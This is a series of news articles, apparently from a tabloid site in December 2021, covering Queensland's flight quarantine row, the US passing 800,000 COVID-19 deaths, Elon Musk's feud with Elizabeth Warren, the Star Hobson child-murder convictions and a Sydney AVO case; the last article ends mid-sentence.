ABC's current affairs 7.30 program, was quick to ask why Queensland ordered hundreds of travellers on board two Virgin flights into 14 days of isolation after a passenger tested positive for Covid-19. 'Flights have been going between NSW and Vic for months - has there been a single superspreader event on a flight relating to a Covid case?' tweeted Sales. 'What is the basis of Qld locking up planeloads of vaxed people for Christmas without warning or precedent?' Meanwhile, Grimshaw, the host of Nine's A Current Affair, pointed out the hypocrisy of the Prime Minister being able to move around the state while travellers on the plane were forced to isolate for two weeks. 'The PM is a casual contact, double vaxxed, two negative tests and free to enter and move around QLD,' Grimshaw Tweeted. 'But a planeload of double vaxxed almost all casual contacts are locked in Xmas quarantine for 2 wks regardless of tests. 'Rules have to make sense or people will reject them.' Mr Morrison said on Brisbane radio this morning that the Queensland government should be doing 'all it could' to ensure the passengers could spend Christmas with their families. 'There's nothing magical about 14 days. 'Omicron is in Australia and weve got to live with it; we cant live in fear of it.' Mr Morrison had been cleared to enter Queensland despite being classified as a casual contact after attending a Sydney high school graduation gala where an infected person tested positive. He attended Kincoppal-Rose Bay's Graduation Gala at the International Convention Centre Darling Harbour on Friday night. Mr Morrison had since received two negative PCR tests and so is not required to isolate on entry to Queensland. Former Channel Nine presenter Rebecca Maddern was another high-profile person to question the Queensland Health decision. The TV personality, 44, made a scathing Instagram post questioning the state's harsh quarantine rules as she anxiously prepares to fly from Melbourne to Queensland later this month to see her father for the first time in 18 months. Alongside quotes from a news article, which confirmed passengers are required to isolate regardless of a negative result, the 44-year-old wrote: 'So Queensland isnt really open at all. 'Passengers have been flying between Sydney and Melbourne for weeks - has there been a massive issue? No. Why is Queensland 14 days ISO for a close contact. 'In Victoria, its 10 days ISO if youre Covid positive!' Queensland Health was concerned the positive case on the flight from Newcastle could be linked to the nightclub cluster in the NSW city but has now confirmed the traveller attended another exposure site in Newcastle There is concern the positive case on the flight from Newcastle could be linked to the nightclub cluster in the NSW city, where around 150 people have already tested positive to what is believed to be the Omicron variant. Some people commenting on the post agreed with Sales, pointing out that high vaccination rates meant most people should be protected and isolation was unnecessary, while others said precaution was necessary due to the Omicron variant. 'Do you not think that the emergence of Omicron and the apparent increase in transmissability (as seen in UK) warrants caution?' one person responded to Sales. 'If you think you can keep Omicron out even with closed borders you are kidding yourself - these rules dont do anything other than lock up perfectly healthy people - let them go on a negative test and retest in 5 days,' another person responded. It's not the first time the ABC presenter has weighed in on the Covid policies of state governments and health authorities. She famously complained about being trolled by supporters of Victorian Premier Daniel Andrews earlier this year after she tweeted about the Victorian lockdown. 'Next time you hear a Premier claim a short term lockdown for a handful of cases has 'crushed' the virus - remember that the data so far shows theyre pointless,' she tweeted on May 24 this year. Premier Annastacia Palaszczuk (left) and Chief Health Officer Dr John Gerrard (right) have repeatedly warned that the state's relatively low number of Covid cases will not last now that Queensland's border restrictions have eased She was also criticised when the Sydney-based presenter turned up to one of Mr Andrews' daily press conferences in Melbourne in February to question him on hotel quarantine and Victoria's then third lockdown. Queensland is on edge since re-opening its borders to interstate travellers from declared 'hotspots' such as NSW, Victoria and the ACT. Premier Annastacia Palaszczuk, Health Minister Yvette D'Ath and Chief Health Officer Dr John Gerrard have all repeatedly warned that the state's relatively low number of Covid cases will not last now that border restrictions have eased. Yesterday Dr Gerrard said it was 'inevitable' that more cases of Covid would be detected in the state and that a mask mandate for people meeting indoors would likely be reintroduced if community transmission increased in Queensland. '[But] at this stage we are not seeing evidence of sustained community transmission,' he said. On Monday he said he expected to see 'more than hundreds' of cases within the next few months. As of yesterday, Queensland now had 88.61 per cent of its residents with one dose of a Covid vaccine and 82.03 per cent with two doses. Advertisement The U.S. death toll from COVID-19 topped 800,000 on Tuesday, a once-unimaginable figure seen as doubly tragic, given that more than 200,000 of those lives were lost after the vaccine became available practically for the asking last spring. The number of deaths, as compiled by Johns Hopkins University, is about equal to the population of Atlanta and St. Louis combined, or Minneapolis and Cleveland put together. It is roughly equivalent to how many Americans die each year from heart disease or stroke. 'This will be a defining tragedy of our generation,' David Dowdy, an infectious disease epidemiologist at Johns Hopkins Bloomberg School of Public Health, told ABC News. 'We've gotten to the point where our eyes glaze over on these numbers. But by now, almost every one of us knows someone who has died of COVID-19.' Speaker of the House Nancy Pelosi, D-Calif., center, House Minority Leader Kevin McCarthy, R-Calif., left, and Senate Majority Leader Chuck Schumer, D-N.Y., right, are joined by bipartisan members of House and Senate to hold a moment of silence for 800,000 American lives lost to COVID-19, on the steps of the Capitol in Washington on Tuesday Members of the House and Senate pick up their electric candles before joining a vigil outside the U.S. Capitol on Tuesday in Washington, D.C. Republicans and Democrats in Congress held a candlelight vigil and moment of silence outside the Capitol to honor the 800,000 Americans who have died from the virus Speaker of the House Nancy Pelosi (D-CA) (C) joins fellow members of the House and Senate in the U.S. Capitol Rotunda before holding a vigil on December 14, 2021 in Washington, DC Speaker of the House Nancy Pelosi (D-CA) (C) walks past the painting depicting the baptism of Pocahontas before joining fellow members of the House and Senate in the U.S. Capitol Rotunda for a vigil On Tuesday night, President Joe Biden made a statement noting the sombre milestone. 'As we mark the tragic milestone of 800,000 American deaths due to COVID-19, we remember each person and the lives they lived, and we pray for the loved ones left behind. I know what it's like to stare at an empty chair around the kitchen table, especially during the holiday season, and my heart aches for every family enduring this pain,' Biden said. 'To heal, we must remember. We must also act. That's exactly what we have done over the past 11 months. We stood up a historic vaccination program, and 240 million Americans have stepped up and gotten at least one shot. As a result, we have saved over one million American lives, and spared families in every community across the country the incalculable loss that too many others have suffered. 'Today, more than 200 million Americans are fully vaccinated, and each day, more people are getting boosted than ever before. As we head into the winter and confront a new variant, we must resolve to keep fighting this virus together. This means getting vaccinated and getting your booster shot, and taking other prevention measures, such as masking,' he continued. 'The vaccines are safe, effective, free, easy, and our best tool to prevent more loss and pain. If you were fully vaccinated before mid-June, please go get your booster shot as soon as possible. And if you haven't already please get yourself and your school-age children vaccinated. 'I urge all Americans: do your patriotic duty to keep our country safe, to protect yourself and those around you, and to honor the memory of all those we have lost. Now is the time,' Biden said in a statement. House Minority Leader Kevin McCarthy (R-CA), Speaker of the House Nancy Pelosi (D-CA) and Senate Majority Leader Charles Schumer (D-NY) join fellow members of the House and Senate for a vigil at the U.S. Capitol on Tuesday The senators and representatives observed a moment of silence for the 800,000 Americans who have died of the coronavirus On Tuesday, the Biden administration said it was preparing for an 'explosion' of Omicron cases that they believe will result in a flood of sick Americans going into the already overburdened hospital system. 'Everything points to a large wave. A large wave is coming,' a senior administration official in President Joe Biden's White House told Axios. The official, however, expressed hope the cases wouldn't be as severe as previous COVID variants including Delta as the White House continues to push booster shots as the best protection. 'It will be fast. It won't be as severe, but regrettably, there will be plenty of hospitalizations,' the person said. Omicron now makes up three per cent of all new US infections and has been detected in 33 U.S. states including Alaska and the District of Columbia, the CDC said on Tuesday. In New York and New Jersey, 13 percent of new cases have been caused by the new strain. Omicron is now in 33 U.S. states and the District of Columbia, including far off Alaska, as the mutant strain that has dominated the world in recent weeks continues its rampant spread across America Despite the high vaccination rate, the US has lost more lives this year than in 2020 due to the Delta variant and the percentage of those who did not receive the shot California brought back its mask mandate for all indoor places across the state on Monday, joining New York who did the same last week. In Philadelphia, residents must now show proof of vaccination to enter bars and restaurants, like in New York City. The Centers for Disease Control and Prevention (CDC) still reports that 97 percent of sequenced cases are of the Delta variant, though Omicron has quickly grown from an insignificant variant in sequencing to making up three percent of cases. In Washington state, one of the first places Omicron was detected in the US, the variant is spreading rapidly. Researchers at the University of Washington found that 13 percent of 217 positive COVID specimens collected on Wednesday had the omicron mutation. That was up from about 7 percent of samples they had tested from the day before, and 3 percent from the day before that. Omicron was first detected in the state two weeks ago. As the holiday season approaches - where more people travel and gather in large groups - some states are reimposing face masks requirements and gearing up for a spike in cases, particularly as the highly-transmissible omicron variant gains steam. Dr Anthony Fauci has said preliminary data suggests the omicron strain is less deadly than delta, but also cautioned that it is too early to say for sure. Visitors walk around a memorial for victims of COVID-19 at the Griffith Observatory in Los Angeles Since the start of the year, over 450,000 people in the United States have died after contracting COVID-19, or 57 percent of all U.S. deaths from the illness since the pandemic started. The deaths this year were mostly in unvaccinated patients, health experts say. Deaths have increased despite advances in caring for COVID patients and new treatment options such as monoclonal antibodies. It took 111 days for U.S. deaths to jump from 600,000 to 700,000, according to Reuters analysis. The next 100,000 deaths took just 73 days. Among the Group of Seven (G7) wealthiest nations, the United States ranks the worst in terms of per capita deaths from COVID-19 between January 1 and November 30, according to analysis by Reuters. The death rate in the United States was more than three times higher than in neighboring Canada and 11 times more than Japan. Even when the United States is compared with a larger pool of wealthy countries with access to vaccines, it ranks near the bottom. Among the 38 members of the Organization of Economic Cooperation and Development (OECD), the United States ranks 30th. Only Hungary, Slovakia, Czech Republic, Lithuania, Latvia Colombia, Poland and Slovenia had more COVID-19 deaths per capita. New Zealand had the least. When compared with the European Union, the United States has 1.3 times the per capita deaths reported in the last 11 months than the entire bloc. Among more than 200 nations and territories tracked by Reuters, the United States ranks 36th. New infections in the United States are averaging around 120,000 a day, with Michigan contributing the most cases a day. The United States has the highest reported toll of any country. The U.S. accounts for approximately 4% of the world's population but about 15% of the 5.3 million known deaths from the coronavirus since the outbreak began in China two years ago. The true death toll in the U.S. and around the world is believed to significantly higher because of cases that were overlooked or concealed. A closely watched forecasting model from the University of Washington projects a total of over 880,000 reported deaths in the U.S. by March 1. Fears of the new variant have prompted Americans to line up for booster doses of COVID-19 vaccines at a record pace. Just under a million people a day received booster doses of one of the three authorized vaccines last week, the highest rate since regulators gave the nod to additional shots. 'We must act together in this moment to address the impact of the current cases we are seeing, which are largely Delta, and to prepare ourselves for the possibility of more Omicron,' U.S. Centers for Disease Control and Prevention Director Dr. Rochelle Walensky said at a White House briefing. Officials say that a vaccine booster provides good protection against the Omicron variant, but the latest data from the Centers for Disease Control and Prevention indicate that a third of US Omicron cases were boosted. Although 400,000 lives were lost under President Trump, that number has now been surpassed under President Biden Steve Grove, a chaplain at Hennepin County Medical Center, prays in a COVID-19 patient's room in Minneapolis Maya Goode, a COVID-19 technician, left, talks with Sami Perez, 12, after he received a COVID-19 test outside Asthenis Pharmacy in Providence, Rhode Island, earlier this week Health experts lament that many of the deaths in the United States were especially heartbreaking because they were preventable by way of the vaccine, which became available in mid-December a year ago and was thrown open to all adults by mid-April of this year. About 200 million Americans are fully vaccinated, or just over 60% of the population which is well short of what scientists say is needed to keep the virus in check. 'Almost all the people dying are now dying preventable deaths,' said Dr. Chris Beyrer, an epidemiologist at the Johns Hopkins Bloomberg School of Public Health. 'And that's because they're not immunized. And you know that, God, it's a terrible tragedy. Despite the high vaccination rate, the US has lost more lives this year than in 2020 due to the Delta variant and the percentage of those who did not receive the shot. This comes after the presence of the new highly transmissible Omicron variant of the virus which originated in South Africa. When the vaccine was first rolled out, the country's death toll stood at about 300,000. It hit 600,000 in mid-June and 700,000 on October 1. People wait in line at a COVID-19 testing site in Times Square, New York on Monday Medical staff move a COVID-19 patient who died onto a gurney to hand off to a funeral home Registered nurse, Noleen Nobleza, center, inoculates Julio Quinones with a COVID-19 vaccine at a clinic set up in the parking lot of CalOptima in Orange, California earlier this year The U.S. crossed the latest threshold with cases and hospitalizations on the rise again in a spike driven by the highly contagious delta variant, which arrived in the first half of 2021 and now accounts for practically all infections. Now the omicron variant is gaining a foothold in the country, though scientists are not sure how dangerous it is. Beyrer recalled that in March or April 2020, one of the worst-case scenarios projected upwards of 240,000 American deaths. 'And I saw that number, and I thought that is incredible - 240,000 American deaths?' he said. 'And we're now past three times that number.' He added: 'And I think it's fair to say that we're still not out of the woods.' The U.S. death toll from COVID-19 topped 800,000, a figure seen as doubly tragic, given that more than 200,000 of those lives were lost after the vaccine became widely available Elon Musk called US Sen. Elizabeth Warren a 'Karen' after she said the Tesla CEO and richest man in the world should pay taxes. Musk, who was named Time Magazine's 2021 Person of the Year, went after Warren on Twitter after the Massachusetts senator retweeted an article about his recent honor, writing 'Let's change the rigged tax code so The Person of the Year will actually pay taxes and stop freeloading off everyone else.' Musk hit back by writing, 'Stop projecting,' linking to a Fox News opinion article claiming Warren lied about having Native American heritage to benefit from affirmative action. 'You remind me of when I was a kid and my friend's angry Mom would just randomly yell at everyone for no reason,' Musk continued. 'Please don't call the manager on me, Senator Karen.' Sen. Elizabeth Warren criticized Elon Musk after he was named Time Magazine's Person of the Year. Musk lashed back with his own insults aimed at the Massachusetts senator Sen. Elizabeth Warren criticized Telsa CEO Elon Musk after he was named Time Magazine's 2021 Person of the Year. She called on him to pay his fair share of taxes Musk attacked the senator on Twitter and dubbed her Senator Karen It's also not the first time the billionaire has slammed politicians critical of his wealth and alleged exploitation of tax loopholes to pay little or no taxes at all. Elon Musk was named Time Magazine's 2021 Person of the Year Last month, Musk mocked Sen. Bernie Sanders who called on the nations extremely wealthy to pony up more cash in a tweet, drawing the attention of Musk, who had sold more than $5 billion of his Tesla stake. Musk did so after launching a Twitter poll that guided him toward selling $25 billion in stock to fund President Joe Bidens proposed billionaire tax. Musk, responding to Sanders demands, indicated he wouldnt draw the line there. I keep forgetting that youre still alive, Musk, the worlds richest man, tweeted at the senator. Want me to sell more stock, Bernie? Just say the word He also attacked Democratic Sen. Ron Wyden, of Oregon, who supported a wealth tax for billionaires and criticized Musk's twitter poll. 'Whether or not the world's wealthiest man pays any taxes at all shouldn't depend on the results of a Twitter poll,' Wyden wrote. 'It's time for the Billionaires Income Tax.' Musk lashed back by mocking Wyden's face, writing, 'Why does ur pp look like u just came?' Musk attacked senators Bernie Sanders and Ron Wyden after they also complained about his lack of paying taxes and called on billionaires to pay their fair share The current spat with Warren comes as Musk, who has a net worth of $265 billion, continues to receive backlash after being named Time's Person of the Year this week. 'The guy could really use an ego boost, you know?' joked Daily Show host Trevor Noah. 'And honestly, you can't argue with this: I mean, richest man in the world, who also controls space, crypto, and electric cars? Who would even be second place? Like, maybe Pete Davidson?' 'It's important to note this is not necessarily a compliment,' late night host Jimmy Kimmel mocked. 'Adolf Hitler and Donald Trump were also named person of the year.' Musk was bestowed the honor after a year of selling off his possessions and moving to Texas, launching rockets into space, inventing new driverless cars, sharing his Asperger's diagnosis while hosting Saturday Night Live and influencing the stock market with this tweets. Musk and Grimes walked the carpet at the 2018 Met Gala together (left) to make their public debut in 2018 but have since 'semi-separated' and co-parent their son X AE A-Xii (right) 2021 Time magazine awards Heroes of the Year: Vaccine scientists Athlete of the Year: Simone Biles Entertainer of the Year: Olivia Rodrigo Advertisement Musk spoke with Time Magazine and discussed his 'semi-separated' status with Grimes, slammed vaccine mandates as an 'erosion of freedom' and shared his plans to fly a Noah's ark spaceship packed full of animals to Mars as he works to colonize the planet. As of Monday, Musk has a net worth of $265.4 billion. Speaking about being the richest man in the world and all of history Musk pointed to someone who he claims is even richer than he is. 'Well, I think there's like some, you know, sovereigns. I think [Russia's] President Putin is significantly richer than me. I can't invade countries and stuff,' Musk said. 'When looking at income and asset distribution, it is very important to normalize that for age. So as societies age, there are more older people; the older somebody is, the richer they are,' he explained. 'But a lot of the push for higher government involvement and expropriation of assets by the government is pushed by a bunch of politicians who are actually saying that resources shouldn't be in control of private individuals. They should be in control of the government,' Musk said. One of the billionaire's biggest criticisms is his enormous wealth, while paying little to none in taxes. Recently, he openly bashes President Joe Biden's Build Back Better Plan, which is fully funded by 'the very largest corporations and the wealthiest Americans.' The Tesla and SpaceX CEO made history several times this year including SpaceX's September launch of the first all-civilian crew into space. The aerospace company also won a $3 billion contract with NASA- sparking a feud with fellow billionaire Jeff Bezos. The SpaceX CEO commented on the success of the aerospace company. 'If we have ships and boosters but no engines, we would be losing billions of dollars a quarter. And if that continued, then bankruptcy would not be out of the question,' he admitted. 'I feel as though we've had many years of success and a lot of people at the company have never seen a launch failure. A lot of people have never in their career experienced a recession,' Musk boasted. 'If somebody entered the workforce after 2009, it just seemed like things always go up. I was concerned that we may be getting complacent,' he shared. Musk has described himself as a 'utopian anarchist' and aims to utilize his businesses to create a more efficient and automated future. 'If there's a utopia where people have access to any goods or services that they want, there's plenty for everyone. If we have a highly automated future with the robots that can do anything, then any work you do will be because you want to do it, not because you have to do it. I don't mean to suggest chaos, but rather that you're not under anyone's thumb,' Musk said. Tesla has announced their plans to create a humanoid robot with artificial intelligence in 2022 and penned a deal with Hertz and Uber to make 100,000 Tesla's available to rent. This partnership sent Tesla's stock to shoot up making the CEO's net worth jump to $302 billion, making him the first person to ever be worth more than $300 billion and richer than some countries. Prime Minister Scott Morrison has urged Queensland to be 'more innovative' to ensure two planeloads of people don't spend Christmas in isolation, after having his own quarantine requirements waived by state authorities. Queensland Health has ordered all passengers on two flights on Monday afternoon into 14 days self-isolation after a person travelling on both flights tested positive for COVID-19. The new case travelled on Virgin Airlines flight 1105 from Newcastle to Brisbane then on flight 375 from Brisbane to Townsville on Monday afternoon while infectious. Scott Morrison says two planeloads of people shouldn't have to spend Christmas in isolation 'We can confirm a new positive COVID-19 case has been detected in Queensland, which is linked to the exposure sites at the Townsville and Brisbane Domestic Airports and the two Virgin flights VA1105 and VA375, the department tweeted on Tuesday night. Authorities have - unusually - classified every single passenger on the flights as a close contacts, meaning they have been ordered into 14-days isolation or quarantine. Dozens of passengers are facing isolation over Christmas unless Chief Health Officer John Gerrard decides to revoke their quarantine orders beforehand. Previously, authorities classified people who were sitting in the same row, or directly in front of or behind an infected passenger as close contacts. There's speculation the unusual step was taken because the case is either a flight crew member or are linked to an Omicron variant outbreak at a Newcastle nightclub on the weekend. The prime minister, who is visiting Brisbane on Wednesday, should be isolating himself after being listed as a casual contact in NSW. But he says Queensland authorities have told him he's free to go about his business. Mr Morrison appealed to the Queensland government to do 'everything they possibly can' to ensure the two planeloads of passengers and others people don't spend Christmas in self-isolation. 'It's not Christmas yet for around, almost two weeks, and so PCR testing, being able to look at ways to ensure people will be able to join their families before Christmas, I would hope, was a very high priority for them,' he told Brisbane radio 4BC on Wednesday. 'I mean, there's nothing magical about 14 days, but with PCR testing and other things that can be done, I'm sure those who have been caught up in that would be happy to have those tests every single day for five days or seven days to ensure that they'd be able to be with their families. 'That's a matter for the Queensland government, they're the ones who've made this decision, but I think we've got to be more innovative and we've got to be finding ways to let people re-join the community.' Meanwhile, a number of people in the southern Queensland border town of Goondiwindi could also be ordered into 14-days isolation after a known case visited three venues. The gaming lounges at both the O'Shea's Royal Hotel and the Victoria Hotel, both on Marshall St, have been listed as close contact exposure sites for Monday afternoon, along with McDonald's Goondiwindi on the Cunningham Highway for Tuesday morning. Queensland recorded four new cases in quarantine on Tuesday, including one person who has the Omicron variant. The beleaguered grandfather of doomed toddler Star Hobson killed himself on his daughter's birthday after sending her a heartbreaking note in prison promising to look after her child. Andrew Smith, 50, died of an overdose in June as he battled with the realisation that his daughter, Frankie Smith, of Keighley, West Yorkshire, had caused the death of little Star Hobson. The little girl was murdered by her mother Frankie Smith's girlfriend Savannah Brockhill after suffering months of abuse in her West Yorkshire home during the Covid lockdown last June. Andrew's father, Frank, 68, was one of five relatives or close family friends who turned whistleblower and raised concerns over the treatment, and bruises that had appeared, on 16-month-old Star. It was revealed that before his death, Andrew had sent a personal letter to Frankie while she was remanded in custody telling her he would look after her baby. Frank said: 'He [Andrew] had a handprint on his window from the baby and never washed it off. He couldn't handle it and so he did it on Frankie's birthday. 'He sent her a card in prison and wrote, 'You look after yourself and I'll look after the baby'. It's been devastating.' Andrew Smith took his own life in June after sending his daughter Frankie a letter in jail saying he would look after her murdered daughter Star Frankie Smith, 20, (right) was sent a letter by her father, Andrew Smith, 50, who promised to look after Star while she was in prison Social services missed five opportunities to stop Star's killers, including her great-grandfather's partner, in the months before her death on September 22, 2020. Frank continued to The Sun: 'When they found him, Star's coat was at the side of him. My son did what he did and had 50 years of life, that baby had only a few months.' Star's great-grandfather branded Brockhill, 28, 'pure evil' and 'ascended from the bowels of hell', while Smith, 20, cried as she was convicted of causing or allowing the toddler's death at Bradford Crown Court yesterday. Smith cried uncontrollably as the verdicts were delivered as the pair stood in the glass-fronted dock. Star was taken to hospital from the flat where she lived with Smith in Wesley Place, Keighley, but her injuries were 'utterly catastrophic' and 'unsurvivable', prosecutors told the two-month trial. Police have released a harrowing picture of one of the bruises on Star's face that sparked calls to social services from family Partners in death: Savannah Brockhill, 28 and Frankie Smith, 20, have both been convicted over killing Star Hobson TIMELINE OF STAR HOBSON'S SHORT LIFE Star Hobson was only 16-months-old when she was killed at her home in Keighley, West Yorkshire. Here are some of the key events in her short life: 2019 May 21 - Star Hobson is born November - Savannah Brockhill and Frankie Smith begin a relationship. 2020 January 23 - Smith's friend Holly Jones makes the first contact with social services over concerns about domestic violence and how much time she is left looking after Star. Police and social workers visit Star but no concerns are raised. Early February - Star goes to live with her great-grandparents, David Fawcett and Anita Smith at their home in Baildon, Bradford, after Smith says she has split up with Brockhill. April 26 - Star is removed from Anita Smith's house by her mother and taken to live with Smith and Brockhill. May 4 - Anita Smith contacts social services after she is told about Brockhill 'slam-choking' Star. June - David Fawcett posts a picture of Star with bruises on Facebook alongside a happier shot and with the caption 'From this to this in five weeks, what's going on Frankie?' June 21 - Star's father, Jordan Hobson, contacts social services. Police take Star for a hospital examination. Smith says her daughter had hit her face on a coffee table. June 23 - Another friend of the Smith family contacts social services with concerns. August 14 - David Fawcett and Anita Smith see Frankie and Star for the last time. August 28 - David Fawcett is sent a video of Star with bruises and confronts Brockhill. September 2 - Another of Star's great-grandfathers, Frank Smith, contacts social services after seeing video of bruises on the youngster's face. Social workers make an unannounced visit. September 15 - Social services closes the case after concluding the referral to be 'malicious'. September 22 - Star is seriously injured at the flat in Wesley Place, Keighley, and dies later in hospital. 2021 December 14 - Following a trial at Bradford Crown Court Brockhill is convicted of Star's murder while Smith is convicted of causing or allowing the toddler's death. Advertisement Jurors heard that Smith's family and friends had growing fears about bruising they saw on the little girl in the months before she died and made a series of complaints to social services. In each case Brockhill and Smith managed to convince social workers that marks on Star were accidental or that the complaints were made maliciously by people who did not like their relationship. Prosecutors described how the injuries that caused Star's death involved extensive damage to her abdominal cavity 'caused by a severe and forceful blow or blows, either in the form of punching, stamping or kicking to the abdomen'. Jurors also heard there were other injuries on her body which meant that 'in the course of her short life, Star had suffered a number of significant injuries at different times'. On September 2, Frank alerted social services to a video of Star with bruises on her face. When they visited her, her mother was said to have been in Scotland. The next day they went again unannounced and found her at home with Brockhill. During an unannounced social worker visit to their Keighley home on September 15 last year Star was so dazed by the abuse she had suffered she walked into a sofa. She had bruises on her face and shins but the Bradford City Council worker believed Brockhill's explanation she'd fallen down the stairs. In fact she was being 'choke slammed', swung by her leg and hit in the face by the twisted couple. They referred to her as a 'brat' and forced her to stand facing the wall for long periods of time during their reign of cruelty. In total two friends and three relatives - including Star's own father - had reported them to social services but they were still allowed to keep her. Tuesday's verdicts fuelled mounting calls for sweeping reform, amid widespread outcry over the case of murdered six-year-old Arthur Labinjo-Hughes by his cruel stepmother earlier this month. It later emerged that the Children's Services boss in charge of Star's care quit his 121,000-a-year post just days before Smith and Brockhill went on trial. Mark Douglas became Bradford Council's third Director of Children's Services to quit within a turbulent three year period. The department was rocked by an Ofsted report in 2018 which branded it 'inadequate' and said some children under its care were 'at risk of serious harm.' Michael Jameson quit as director soon after the report was released and he was succeeded by Gladys Rhodes White, who left less than a year later. On his arrival in May 2019, Mr Douglas, formerly Director of Children's Social Care at Doncaster Children's Services Trust, vowed to 'develop good and outstanding services for the city and district.' Police released a picture of Star smiling happily before the torment from her mother and her murdering girlfriend began Abused Star was so dazed she walked into a sofa in view of social worker during one visit Kersten England, Chief Executive of Bradford Council, said at the time: 'Mark will be key to us achieving this so we put the voice and needs of our young people at the heart of all we do.' The former social worker suddenly quit on October 15, just before the trial at Bradford Crown Court began. For confidential support call Samaritans on 116123 or visit a Samaritans branch Star Hobson's killer stepmother wanted to 'shave all her hair off, like a gypsy baby' reveals whistleblowing great-grandfather as babysitter says 16-month-old's mother spent an hour cleaning her up and covering her bruises before social worker's visit Star Hobson's murderer Savannah Brockhill wanted to shave off all of the little girl's hair to make her into a 'Gypsy baby' in her own image, relatives revealed today. The killer bouncer - who proudly called herself the 'Number one psycho' - fatally hurt the toddler by stamping or punching her stomach. Brockhill had left school aged ten and the seven week murder trial heard she had come from a travelling background. Relatives and friends contacted social services five times, but they swallowed the killer and Star's mother's lies that she was loved and cared for. The little girl's great-grandfather David Fawcett said this morning: 'Savannah was slam-choking - some kind of move they do in kickboxing or karate or something - and she was throwing Star onto the bed, which was thought was a bit strange for an 11-month-old little girl to be doing. 'Then a day or so later we got word she was going to shave all her hair off, she wanted to be like a gypsy baby, and she was holding her above her cot by one leg. Star looks terrified as the woman who would later murder her holds her in her arms Partners in death: Savannah Brockhill, 28 and Frankie Smith, 20, have both been convicted over killing Star Hobson 'So that's when Anita said 'I've had enough, I'm going to ring the social services and try and get this sorted out',' he told GMB. But devious Frankie Smith covered up the toddler's bruises and injuries after social services tipped her off they were coming to visit. Smith, 20, set about disguising the wounds she and murderer Savannah Brockhill inflicted on the baby girl with make-up. Then when the Bradford City Council social worker arrived at her Keighley home, she made babysitter Hollie Jones hold her to try and obscure their view. Smith had no idea it had in fact been brave Hollie who had tried to save Star by tipping off the authorities in the first place in January 23 last year She had acted after witnessing the chaotic scenes in the house and said this morning if social workers had turned up announce the baby might still be alive now. Star's mother Frankie Smith, 20, and girlfriend Savannah Brockhill, 28, have been convicted Police have released a harrowing picture of one of the bruises on Star's face that sparked calls to social services from family Babysitter Hollie Jones alerted social services but they told Frankie Smith they were coming Brockhill - who called herself 'the number one psycho' - will be sentenced this afternoon for murder with Smith for causing or allowing Star's death. Hollie said: 'The social workers rang an hour beforehand just to tell them they were coming. 'Frankie started cleaning Star, covering up bruises and things like that'. 'She made me hold Star so that the social worker couldn't really see much of what she was like. 'Later they told me they visited and they have no concern. 'That she's safe with her mother, there's nothing more that they can do and everything looks fine,' she told the BBC. 'It's like ringing up a criminal an hour before and saying 'I'm coming to get you'. It just doesn't really make sense. 'I think more things need to be put in place because parents that are abusing their children know how to cover it up.' The Bradford Partnership, which includes the agencies which had contact with Star during her short life, said on Tuesday: 'We need to fully understand why opportunities to better protect Star were missed.' The safeguarding partnership said a review into the case will be published next year, but that it 'deeply regrets' that 'not all the warning signs' were spotted. And Bradford Council leader Susan Hinchliffe said Star was 'let down'. Keighley and Ilkley Tory MP Robbie Moore said Bradford Council leaders should 'hang their heads in shame' and resign. The Department for Education said Star's death was 'deeply disturbing' and that it would 'not hesitate' to remove children's services control from Bradford Council 'if necessary'. Smith cried uncontrollably when the verdicts were delivered as she and Brockhill stood in the glass-fronted dock. Star was taken to hospital from the flat where she lived with Smith in Wesley Place, Keighley, on September 22 2020, but her injuries were 'utterly catastrophic' and 'unsurvivable', prosecutors told the two-month trial. Jurors heard that Smith's family and friends had growing fears about bruising they saw on the little girl in the months before she died. In each case, Brockhill and Smith managed to convince social workers that marks on Star were accidental or that the complaints were made maliciously by people who did not like their relationship. Prosecutors described how the injuries that caused Star's death involved extensive damage to her abdominal cavity 'caused by a severe and forceful blow or blows, either in the form of punching, stamping or kicking to the abdomen'. Jurors also heard there were other injuries on her body which meant that 'in the course of her short life, Star had suffered a number of significant injuries at different times'. The jury was shown a series of clips from a CCTV camera which prosecutors said showed Brockhill deliver a total of 21 blows to Star in a car over a period of nearly three hours, some as the toddler sat in a car seat. The footage came from a camera at a recycling plant in Doncaster where Brockhill was working as a security guard, and was filmed about eight days before Star's death. The footage appeared to show Brockhill punching and slapping Star with what the prosecutor described as 'considerable force', and at one point the youngster fell out of the vehicle. Brockhill also grabbed Star by the throat. The jury also saw another video, described by the prosecutor as 'disturbing and bizarre', showing Star falling off a plastic chair and hitting the floor. Prosecutor Alistair MacDonald QC told the court the youngster was 'clearly exhausted but treated completely without love'. He said 'there was also a degree of cruelty and psychological harm' inflicted on the toddler in the weeks and months before she died as well as physical assaults. The maximum sentence for causing or allowing the death of a child is 14 years. An interim apprehended violence order taken out against the former husband of a woman at the centre of a high society relationship bust up will remain in place while he fights to have it thrown out of court. Christopher Nasser was represented in Downing Centre Local Court on Wednesday where his lawyer confirmed he planned to defend the application. Police sought an AVO against Mr Nasser for his estranged wife Hollie, who has embarked on a relationship with investment banker Charlie Aitken. Mr Aitken has been in business with Mr Nasser for at least seven years and is married to Hollie's former best friend, Ellie Aitken. Mr and Ms Aitken announced their separation in November. The latest twist in the society marriage breakup that's shocked Sydney's wealthy eastern suburbs set comes as friends of Mr Nasser say they are growing increasingly frustrated at Hollie and Charlie flaunting their relationship. The AVO, which was issued by Waverley police on November 15, will remain in place after Mr Nasser's legal team told the court on Wednesday they would argue the facts. Police sought an AVO against Mr Nasser for his estranged wife Hollie, who is now dating investment banker, Charlie Aitken Ms Nasser and Mr Aitken were seen for only the second time together on Monday, when he arrived at her home to pick her up. The pair shared a quick kiss as Mr Aitken held open the passenger side door of his white Mercedes 'I categorically deny the allegations. They are totally baseless,' he said when details of the AVO were first made public. Mr Nasser has been focusing on his children and has gone out of his way to avoid speaking of the relationship breakdown. He is being supported by his close friends, many of whom are said to be 'horrified with the nature of what's gone on'. 'Most of us have been absolutely shocked to read media reports referring to it as a 'new relationship', a close friend of Chris' said. 'It also hasn't gone unnoticed that since this became public, Chris is the one focussed on his children while Hollie and Charlie have been flaunting themselves all over town. But a friend of Ms Nasser's told Daily Mail Australia she's equally as devastated this 'private and distressing matter' has made news headlines. She is said to be quietly relieved the interim AVO will remain in place between now and the next court hearing on January 19, 2022. When the matter returns to court, Mr Nasser has expressed he will be trying to get the AVO dismissed. Ms Nasser, who works as a psychologist in the disability sector, said she had no interest in becoming a designer and loves her job The two couples used to travel together and raised their young families as business partners and friends. Pictured dining at Eleven Madison Park in New York before the Covid pandemic It's understood the grounds for the order are allegations of 'general intimidation behaviour' during the relationship. 'Hollie just wants to move on with her life... Her priority is of course taking care of her two children.' It's understood she's struggling with the 